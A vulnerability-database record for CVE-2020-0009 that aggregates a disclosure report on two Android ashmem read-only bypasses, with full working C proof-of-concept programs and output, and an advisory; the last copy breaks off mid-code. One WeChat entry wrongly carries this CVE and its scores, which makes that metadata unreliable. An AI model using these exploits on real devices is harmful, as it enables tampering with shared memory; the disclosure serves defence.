In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-142938932
{"zdt": [{"lastseen": "2022-04-29T23:25:04", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-01-15T00:00:00", "type": "zdt", "title": "Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0009"], "modified": "2020-01-15T00:00:00", "id": "1337DAY-ID-33814", "href": "https://0day.today/exploit/description/33814", "sourceData": "This bug report describes two ways in which an attacker can modify the contents\nof a read-only ashmem fd. I'm not sure at this point what the most interesting\nuser of ashmem is in the current Android release, but there are various users,\nincluding Chrome and a bunch of utility classes.\nIn AOSP master, there is even code in\n<https://android.googlesource.com/platform/art/+/master/runtime/jit/jit_memory_region.cc>\nthat uses ashmem for some JIT zygote mapping, which sounds extremely\ninteresting.\n\n\nAndroid's ashmem kernel driver has an ->mmap() handler that attempts to lock\ndown created VMAs based on a configured protection mask such that in particular\nwrite access to the underlying shmem file can never be gained. It tries to do\nthis as follows (code taken from upstream Linux\ndrivers/staging/android/ashmem.c):\n\n static inline vm_flags_t calc_vm_may_flags(unsigned long prot)\n {\n return _calc_vm_trans(prot, PROT_READ, VM_MAYREAD) |\n _calc_vm_trans(prot, PROT_WRITE, VM_MAYWRITE) |\n _calc_vm_trans(prot, PROT_EXEC, VM_MAYEXEC);\n }\n [...]\n static int ashmem_mmap(struct file *file, struct vm_area_struct *vma)\n {\n struct ashmem_area *asma = file->private_data;\n [...]\n /* requested protection bits must match our allowed protection mask */\n if ((vma->vm_flags & ~calc_vm_prot_bits(asma->prot_mask, 0)) &\n calc_vm_prot_bits(PROT_MASK, 0)) {\n ret = -EPERM;\n goto out;\n }\n vma->vm_flags &= ~calc_vm_may_flags(~asma->prot_mask);\n [...]\n if (vma->vm_file)\n fput(vma->vm_file);\n vma->vm_file = asma->file;\n [...]\n return ret;\n }\n\nThis ensures that the protection flags specified by the caller don't conflict\nwith the ->prot_mask, and it also clears the VM_MAY* flags as needed to prevent\nthe user from afterwards adding new protection flags via mprotect().\n\nHowever, it improperly stores the backing shmem file, whose ->mmap() handler\ndoes not enforce the same restrictions, in ->vm_file. An attacker can abuse this\nthrough the remap_file_pages() syscall, which grabs the file pointer of an\nexisting VMA and calls its ->mmap() handler to create a new VMA. In effect,\ncalling remap_file_pages(addr, size, 0, 0, 0) on an ashmem mapping allows an\nattacker to raise the VM_MAYWRITE bit, allowing the attacker to gain write\naccess to the ashmem allocation's backing file via mprotect().\n\n\nReproducer (works both on Linux from upstream master in an X86 VM and on a\nPixel 2 at security patch level 2019-09-05 via adb):\n\n====================================================================\n[email\u00a0protected]:~/ashmem_remap$ cat ashmem_remap_victim.c\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <err.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/ioctl.h>\n#include <sys/wait.h>\n\n#define __ASHMEMIOC 0x77\n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)\n#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)\n\nint main(void) {\n int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);\n if (ashmem_fd == -1)\n err(1, \"open ashmem\");\n if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))\n err(1, \"ASHMEM_SET_SIZE\");\n char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);\n if (mapping == MAP_FAILED)\n err(1, \"mmap ashmem\");\n if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))\n err(1, \"ASHMEM_SET_SIZE\");\n mapping[0] = 'A';\n printf(\"mapping[0] = '%c'\\n\", mapping[0]);\n\n if (dup2(ashmem_fd, 42) != 42)\n err(1, \"dup2\");\n pid_t child = fork();\n if (child == -1)\n err(1, \"fork\");\n if (child == 0) {\n execl(\"./ashmem_remap_attacker\", \"ashmem_remap_attacker\", NULL);\n err(1, \"execl\");\n }\n int status;\n if (wait(&status) != child) err(1, \"wait\");\n printf(\"mapping[0] = '%c'\\n\", mapping[0]);\n}[email\u00a0protected]:~/ashmem_remap$ cat ashmem_remap_attacker.c\n#define _GNU_SOURCE\n#include <unistd.h>\n#include <sys/mman.h>\n#include <err.h>\n#include <stdlib.h>\n#include <stdio.h>\n\nint main(void) {\n int ashmem_fd = 42;\n\n /* sanity check */\n char *write_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);\n if (write_mapping == MAP_FAILED) {\n perror(\"mmap ashmem writable failed as expected\");\n } else {\n errx(1, \"trivial mmap ashmem writable worked???\");\n }\n\n char *mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, ashmem_fd, 0);\n if (mapping == MAP_FAILED)\n err(1, \"mmap ashmem readonly failed\");\n\n if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE) == 0)\n errx(1, \"mprotect ashmem writable worked???\");\n\n if (remap_file_pages(mapping, /*size=*/0x1000, /*prot=*/0, /*pgoff=*/0, /*flags=*/0))\n err(1, \"remap_file_pages\");\n\n if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE))\n err(1, \"mprotect ashmem writable failed, attack didn't work\");\n\n mapping[0] = 'X';\n\n puts(\"attacker exiting\");\n}[email\u00a0protected]:~/ashmem_remap$ gcc -o ashmem_remap_victim ashmem_remap_victim.c\n[email\u00a0protected]:~/ashmem_remap$ gcc -o ashmem_remap_attacker ashmem_remap_attacker.c\n[email\u00a0protected]:~/ashmem_remap$ ./ashmem_remap_victim\nmapping[0] = 'A'\nmmap ashmem writable failed as expected: Operation not permitted\nattacker exiting\nmapping[0] = 'X'\n[email\u00a0protected]:~/ashmem_remap$ \n====================================================================\n\nInterestingly, the (very much deprecated) syscall remap_file_pages() isn't even\nlisted in bionic's SYSCALLS.txt, which would normally cause it to be blocked by\nAndroid's seccomp policy; however, SECCOMP_WHITELIST_APP.txt explicitly permits\nit for 32-bit ARM applications:\n\n # b/36435222\n int remap_file_pages(void *addr, size_t size, int prot, size_t pgoff, int flags) arm,x86,mips\n\n\n\n\nashmem supports purgable memory via ASHMEM_UNPIN/ASHMEM_PIN. Unfortunately,\nthere is no access control for these - even if you only have read-only access to\nan ashmem file, you can still mark pages in it as purgable, causing them to\neffectively be zeroed out when the system is under memory pressure. Here's a\nsimple test for that (to be run in an X86 Linux VM):\n\n====================================================================\n[email\u00a0protected]:~/ashmem_purging$ cat ashmem_purge_victim.c\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <err.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/ioctl.h>\n#include <sys/wait.h>\n\n#define __ASHMEMIOC 0x77\n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)\n#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)\n\nint main(void) {\n int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);\n if (ashmem_fd == -1)\n err(1, \"open ashmem\");\n if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))\n err(1, \"ASHMEM_SET_SIZE\");\n char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);\n if (mapping == MAP_FAILED)\n err(1, \"mmap ashmem\");\n if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))\n err(1, \"ASHMEM_SET_SIZE\");\n mapping[0] = 'A';\n printf(\"mapping[0] = '%c'\\n\", mapping[0]);\n\n if (dup2(ashmem_fd, 42) != 42)\n err(1, \"dup2\");\n pid_t child = fork();\n if (child == -1)\n err(1, \"fork\");\n if (child == 0) {\n execl(\"./ashmem_purge_attacker\", \"ashmem_purge_attacker\", NULL);\n err(1, \"execl\");\n }\n int status;\n if (wait(&status) != child) err(1, \"wait\");\n printf(\"mapping[0] = '%c'\\n\", mapping[0]);\n}\n[email\u00a0protected]:~/ashmem_purging$ cat ashmem_purge_attacker.c\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <err.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/ioctl.h>\n\nstruct ashmem_pin {\n unsigned int offset, len;\n};\n\n#define __ASHMEMIOC 0x77\n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)\n#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)\n\nint main(void) {\n struct ashmem_pin pin = { 0, 0 };\n if (ioctl(42, ASHMEM_UNPIN, &pin))\n err(1, \"unpin 42\");\n\n /* ensure that shrinker doesn't get skipped */\n int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);\n if (ashmem_fd == -1)\n err(1, \"open ashmem\");\n if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x100000))\n err(1, \"ASHMEM_SET_SIZE\");\n char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);\n if (mapping == MAP_FAILED)\n err(1, \"mmap ashmem\");\n if (ioctl(ashmem_fd, ASHMEM_UNPIN, &pin))\n err(1, \"unpin 42\");\n\n /* simulate OOM */\n system(\"sudo sh -c 'echo 2 > /proc/sys/vm/drop_caches'\");\n\n puts(\"attacker exiting\");\n}\n[email\u00a0protected]:~/ashmem_purging$ gcc -o ashmem_purge_victim ashmem_purge_victim.c\n[email\u00a0protected]:~/ashmem_purging$ gcc -o ashmem_purge_attacker ashmem_purge_attacker.c\n[email\u00a0protected]:~/ashmem_purging$ ./ashmem_purge_victim\nmapping[0] = 'A'\nattacker exiting\nmapping[0] = ''\n[email\u00a0protected]:~/ashmem_purging$ \n====================================================================\n", "sourceHref": "https://0day.today/exploit/33814", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2021-12-03T02:00:33", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 5.5, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2020-01-14T00:00:00", "type": "zdt", "title": "WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0009"], "modified": "2020-01-14T00:00:00", "id": "1337DAY-ID-33813", "href": "https://0day.today/exploit/description/33813", "sourceData": "There is a memory corruption vulnerability in audio processing during a voice call in WeChat. When an RTP packet is processed, there is a call to UnpacketRTP. This function decrements the length of the packet by 12 without checking that the packet has at least 12 bytes in it. This leads to a negative packet length. Then, CAudioJBM::InputAudioFrameToJBM will check that the packet size is smaller than the size of a buffer before calling memcpy, but this check (n < 300) does not consider that the packet length could be negative due to the previous error. This leads to an out-of-bounds copy.\n\nTo reproduce the bug:\n\n1) install and run frida on the caller Android device and a desktop host (https://www.frida.re)\n2) copy the filed in the attached directory to /data/local/tmp/packs/, so that /data/local/tmp/packs/opack0 exists\n3) run \"setenforce 0\" on the caller device\n4) extract replay.py and replay.js into the same directory on a desktop host and run:\n\npython3 replay.py DEVICENAME\n\nWait for the word \"READY\" to display.\n\nIf you don't know your device name, you can list device names by running:\n\npython3 replay.py\n\n5) start a voice call and answer it on the target device. A crash will occur in about 10 seconds.\n\nA crash log is attached.\n\n\nProof of Concept:\nhttps://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47920.zip\n", "sourceHref": "https://0day.today/exploit/33813", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2022-07-05T06:44:11", "description": "Android suffers from ashmem read-only bypass vulnerabilities via remap_file_pages() and ASHMEM_UNPIN.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-01-10T00:00:00", "type": "zdt", "title": "Android ashmem Read-Only Bypasses Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0009"], "modified": "2020-01-10T00:00:00", "id": "1337DAY-ID-33793", "href": "https://0day.today/exploit/description/33793", "sourceData": "Android: ashmem readonly bypasses via remap_file_pages() and ASHMEM_UNPIN\n\nThis bug report describes two ways in which an attacker can modify the contents\nof a read-only ashmem fd. I'm not sure at this point what the most interesting\nuser of ashmem is in the current Android release, but there are various users,\nincluding Chrome and a bunch of utility classes.\nIn AOSP master, there is even code in\n<https://android.googlesource.com/platform/art/+/master/runtime/jit/jit_memory_region.cc>\nthat uses ashmem for some JIT zygote mapping, which sounds extremely\ninteresting.\n\n\nAndroid's ashmem kernel driver has an ->mmap() handler that attempts to lock\ndown created VMAs based on a configured protection mask such that in particular\nwrite access to the underlying shmem file can never be gained. It tries to do\nthis as follows (code taken from upstream Linux\ndrivers/staging/android/ashmem.c):\n\n static inline vm_flags_t calc_vm_may_flags(unsigned long prot)\n {\n return _calc_vm_trans(prot, PROT_READ, VM_MAYREAD) |\n _calc_vm_trans(prot, PROT_WRITE, VM_MAYWRITE) |\n _calc_vm_trans(prot, PROT_EXEC, VM_MAYEXEC);\n }\n [...]\n static int ashmem_mmap(struct file *file, struct vm_area_struct *vma)\n {\n struct ashmem_area *asma = file->private_data;\n [...]\n /* requested protection bits must match our allowed protection mask */\n if ((vma->vm_flags & ~calc_vm_prot_bits(asma->prot_mask, 0)) &\n calc_vm_prot_bits(PROT_MASK, 0)) {\n ret = -EPERM;\n goto out;\n }\n vma->vm_flags &= ~calc_vm_may_flags(~asma->prot_mask);\n [...]\n if (vma->vm_file)\n fput(vma->vm_file);\n vma->vm_file = asma->file;\n [...]\n return ret;\n }\n\nThis ensures that the protection flags specified by the caller don't conflict\nwith the ->prot_mask, and it also clears the VM_MAY* flags as needed to prevent\nthe user from afterwards adding new protection flags via mprotect().\n\nHowever, it improperly stores the backing shmem file, whose ->mmap() handler\ndoes not enforce the same restrictions, in ->vm_file. An attacker can abuse this\nthrough the remap_file_pages() syscall, which grabs the file pointer of an\nexisting VMA and calls its ->mmap() handler to create a new VMA. In effect,\ncalling remap_file_pages(addr, size, 0, 0, 0) on an ashmem mapping allows an\nattacker to raise the VM_MAYWRITE bit, allowing the attacker to gain write\naccess to the ashmem allocation's backing file via mprotect().\n\n\nReproducer (works both on Linux from upstream master in an X86 VM and on a\nPixel 2 at security patch level 2019-09-05 via adb):\n\n====================================================================\n[email\u00a0protected]:~/ashmem_remap$ cat ashmem_remap_victim.c\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <err.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/ioctl.h>\n#include <sys/wait.h>\n\n#define __ASHMEMIOC 0x77\n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)\n#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)\n\nint main(void) {\n int ashmem_fd = open(\\\"/dev/ashmem\\\", O_RDWR);\n if (ashmem_fd == -1)\n err(1, \\\"open ashmem\\\");\n if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))\n err(1, \\\"ASHMEM_SET_SIZE\\\");\n char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);\n if (mapping == MAP_FAILED)\n err(1, \\\"mmap ashmem\\\");\n if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))\n err(1, \\\"ASHMEM_SET_SIZE\\\");\n mapping[0] = 'A';\n printf(\\\"mapping[0] = '%c'\\\n\\\", mapping[0]);\n\n if (dup2(ashmem_fd, 42) != 42)\n err(1, \\\"dup2\\\");\n pid_t child = fork();\n if (child == -1)\n err(1, \\\"fork\\\");\n if (child == 0) {\n execl(\\\"./ashmem_remap_attacker\\\", \\\"ashmem_remap_attacker\\\", NULL);\n err(1, \\\"execl\\\");\n }\n int status;\n if (wait(&status) != child) err(1, \\\"wait\\\");\n printf(\\\"mapping[0] = '%c'\\\n\\\", mapping[0]);\n}[email\u00a0protected]:~/ashmem_remap$ cat ashmem_remap_attacker.c\n#define _GNU_SOURCE\n#include <unistd.h>\n#include <sys/mman.h>\n#include <err.h>\n#include <stdlib.h>\n#include <stdio.h>\n\nint main(void) {\n int ashmem_fd = 42;\n\n /* sanity check */\n char *write_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);\n if (write_mapping == MAP_FAILED) {\n perror(\\\"mmap ashmem writable failed as expected\\\");\n } else {\n errx(1, \\\"trivial mmap ashmem writable worked???\\\");\n }\n\n char *mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, ashmem_fd, 0);\n if (mapping == MAP_FAILED)\n err(1, \\\"mmap ashmem readonly failed\\\");\n\n if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE) == 0)\n errx(1, \\\"mprotect ashmem writable worked???\\\");\n\n if (remap_file_pages(mapping, /*size=*/0x1000, /*prot=*/0, /*pgoff=*/0, /*flags=*/0))\n err(1, \\\"remap_file_pages\\\");\n\n if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE))\n err(1, \\\"mprotect ashmem writable failed, attack didn't work\\\");\n\n mapping[0] = 'X';\n\n puts(\\\"attacker exiting\\\");\n}[email\u00a0protected]:~/ashmem_remap$ gcc -o ashmem_remap_victim ashmem_remap_victim.c\n[email\u00a0protected]:~/ashmem_remap$ gcc -o ashmem_remap_attacker ashmem_remap_attacker.c\n[email\u00a0protected]:~/ashmem_remap$ ./ashmem_remap_victim\nmapping[0] = 'A'\nmmap ashmem writable failed as expected: Operation not permitted\nattacker exiting\nmapping[0] = 'X'\n[email\u00a0protected]:~/ashmem_remap$ \n====================================================================\n\nInterestingly, the (very much deprecated) syscall remap_file_pages() isn't even\nlisted in bionic's SYSCALLS.txt, which would normally cause it to be blocked by\nAndroid's seccomp policy; however, SECCOMP_WHITELIST_APP.txt explicitly permits\nit for 32-bit ARM applications:\n\n # b/36435222\n int remap_file_pages(void *addr, size_t size, int prot, size_t pgoff, int flags) arm,x86,mips\n\n\n\n\nashmem supports purgable memory via ASHMEM_UNPIN/ASHMEM_PIN. Unfortunately,\nthere is no access control for these - even if you only have read-only access to\nan ashmem file, you can still mark pages in it as purgable, causing them to\neffectively be zeroed out when the system is under memory pressure. Here's a\nsimple test for that (to be run in an X86 Linux VM):\n\n====================================================================\n[email\u00a0protected]:~/ashmem_purging$ cat ashmem_purge_victim.c\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <err.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/ioctl.h>\n#include <sys/wait.h>\n\n#define __ASHMEMIOC 0x77\n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)\n#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)\n\nint main(void) {\n int ashmem_fd = open(\\\"/dev/ashmem\\\", O_RDWR);\n if (ashmem_fd == -1)\n err(1, \\\"open ashmem\\\");\n if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))\n err(1, \\\"ASHMEM_SET_SIZE\\\");\n char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);\n if (mapping == MAP_FAILED)\n err(1, \\\"mmap ashmem\\\");\n if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))\n err(1, \\\"ASHMEM_SET_SIZE\\\");\n mapping[0] = 'A';\n printf(\\\"mapping[0] = '%c'\\\n\\\", mapping[0]);\n\n if (dup2(ashmem_fd, 42) != 42)\n err(1, \\\"dup2\\\");\n pid_t child = fork();\n if (child == -1)\n err(1, \\\"fork\\\");\n if (child == 0) {\n execl(\\\"./ashmem_purge_attacker\\\", \\\"ashmem_purge_attacker\\\", NULL);\n err(1, \\\"execl\\\");\n }\n int status;\n if (wait(&status) != child) err(1, \\\"wait\\\");\n printf(\\\"mapping[0] = '%c'\\\n\\\", mapping[0]);\n}\n[email\u00a0protected]:~/ashmem_purging$ cat ashmem_purge_attacker.c\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <err.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/ioctl.h>\n\nstruct ashmem_pin {\n unsigned int offset, len;\n};\n\n#define __ASHMEMIOC 0x77\n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)\n#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)\n\nint main(void) {\n struct ashmem_pin pin = { 0, 0 };\n if (ioctl(42, ASHMEM_UNPIN, &pin))\n err(1, \\\"unpin 42\\\");\n\n /* ensure that shrinker doesn't get skipped */\n int ashmem_fd = open(\\\"/dev/ashmem\\\", O_RDWR);\n if (ashmem_fd == -1)\n err(1, \\\"open ashmem\\\");\n if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x100000))\n err(1, \\\"ASHMEM_SET_SIZE\\\");\n char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);\n if (mapping == MAP_FAILED)\n err(1, \\\"mmap ashmem\\\");\n if (ioctl(ashmem_fd, ASHMEM_UNPIN, &pin))\n err(1, \\\"unpin 42\\\");\n\n /* simulate OOM */\n system(\\\"sudo sh -c 'echo 2 > /proc/sys/vm/drop_caches'\\\");\n\n puts(\\\"attacker exiting\\\");\n}\n[email\u00a0protected]:~/ashmem_purging$ gcc -o ashmem_purge_victim ashmem_purge_victim.c\n[email\u00a0protected]:~/ashmem_purging$ gcc -o ashmem_purge_attacker ashmem_purge_attacker.c\n[email\u00a0protected]:~/ashmem_purging$ ./ashmem_purge_victim\nmapping[0] = 'A'\nattacker exiting\nmapping[0] = ''\n[email\u00a0protected]:~/ashmem_purging$ \n====================================================================\n\n\n\nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse\nor a patch has been made broadly available (whichever is earlier), the bug\nreport will become visible to the public.\n\nRelated CVE Numbers: CVE-2020-0009.\n", "sourceHref": "https://0day.today/exploit/33793", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}}], "symantec": [{"lastseen": "2020-01-07T16:22:33", "description": "### Description\n\nGoogle Android is prone to a local privilege escalation vulnerability. Attackers can exploit this issue to execute arbitrary code within the context of a privileged process. This issue is being tracked by Android Bug ID A-142938932.\n\n### Technologies Affected\n\n * Google Android \n\n### Recommendations\n\n**Block external access at the network boundary, unless external parties require service.** \nFilter access to the affected computer at the network boundary if global access isn't required. Restricting access to only trusted computers and networks might greatly reduce the likelihood of a successful exploit.\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of malicious activity such as requests containing suspicious URI sequences. Since the webserver may also log such requests, audit its logs regularly.\n\n**Run all software as a nonprivileged user with minimal access rights.** \nTo limit the consequences of a successful exploit, run server processes within a restricted environment using facilities such as chroot or jail.\n\n**Implement multiple redundant layers of security.** \nVarious memory-protection schemes (such as nonexecutable and randomly mapped memory segments) may hinder an attacker's ability to exploit this vulnerability to execute arbitrary code.\n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "cvss3": {}, "published": "2020-01-06T00:00:00", "type": "symantec", "title": "Google Android Kernel Component CVE-2020-0009 Local Privilege Escalation Vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2020-0009"], "modified": "2020-01-06T00:00:00", "id": "SMNTC-111389", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/111389", "cvss": {"score": 0.0, "vector": "NONE"}}], "packetstorm": [{"lastseen": "2020-01-11T16:18:12", "description": "", "cvss3": {}, "published": "2020-01-10T00:00:00", "type": "packetstorm", "title": "Android ashmem Read-Only Bypasses", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0009"], "modified": "2020-01-10T00:00:00", "id": "PACKETSTORM:155903", "href": "https://packetstormsecurity.com/files/155903/Android-ashmem-Read-Only-Bypasses.html", "sourceData": "`Android: ashmem readonly bypasses via remap_file_pages() and ASHMEM_UNPIN \n \nThis bug report describes two ways in which an attacker can modify the contents \nof a read-only ashmem fd. I'm not sure at this point what the most interesting \nuser of ashmem is in the current Android release, but there are various users, \nincluding Chrome and a bunch of utility classes. \nIn AOSP master, there is even code in \n<https://android.googlesource.com/platform/art/+/master/runtime/jit/jit_memory_region.cc> \nthat uses ashmem for some JIT zygote mapping, which sounds extremely \ninteresting. \n \n \nAndroid's ashmem kernel driver has an ->mmap() handler that attempts to lock \ndown created VMAs based on a configured protection mask such that in particular \nwrite access to the underlying shmem file can never be gained. It tries to do \nthis as follows (code taken from upstream Linux \ndrivers/staging/android/ashmem.c): \n \nstatic inline vm_flags_t calc_vm_may_flags(unsigned long prot) \n{ \nreturn _calc_vm_trans(prot, PROT_READ, VM_MAYREAD) | \n_calc_vm_trans(prot, PROT_WRITE, VM_MAYWRITE) | \n_calc_vm_trans(prot, PROT_EXEC, VM_MAYEXEC); \n} \n[...] \nstatic int ashmem_mmap(struct file *file, struct vm_area_struct *vma) \n{ \nstruct ashmem_area *asma = file->private_data; \n[...] \n/* requested protection bits must match our allowed protection mask */ \nif ((vma->vm_flags & ~calc_vm_prot_bits(asma->prot_mask, 0)) & \ncalc_vm_prot_bits(PROT_MASK, 0)) { \nret = -EPERM; \ngoto out; \n} \nvma->vm_flags &= ~calc_vm_may_flags(~asma->prot_mask); \n[...] \nif (vma->vm_file) \nfput(vma->vm_file); \nvma->vm_file = asma->file; \n[...] \nreturn ret; \n} \n \nThis ensures that the protection flags specified by the caller don't conflict \nwith the ->prot_mask, and it also clears the VM_MAY* flags as needed to prevent \nthe user from afterwards adding new protection flags via mprotect(). \n \nHowever, it improperly stores the backing shmem file, whose ->mmap() handler \ndoes not enforce the same restrictions, in ->vm_file. An attacker can abuse this \nthrough the remap_file_pages() syscall, which grabs the file pointer of an \nexisting VMA and calls its ->mmap() handler to create a new VMA. In effect, \ncalling remap_file_pages(addr, size, 0, 0, 0) on an ashmem mapping allows an \nattacker to raise the VM_MAYWRITE bit, allowing the attacker to gain write \naccess to the ashmem allocation's backing file via mprotect(). \n \n \nReproducer (works both on Linux from upstream master in an X86 VM and on a \nPixel 2 at security patch level 2019-09-05 via adb): \n \n==================================================================== \nuser@vm:~/ashmem_remap$ cat ashmem_remap_victim.c \n#include <unistd.h> \n#include <stdlib.h> \n#include <fcntl.h> \n#include <err.h> \n#include <stdio.h> \n#include <sys/mman.h> \n#include <sys/ioctl.h> \n#include <sys/wait.h> \n \n#define __ASHMEMIOC 0x77 \n#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t) \n#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long) \n \nint 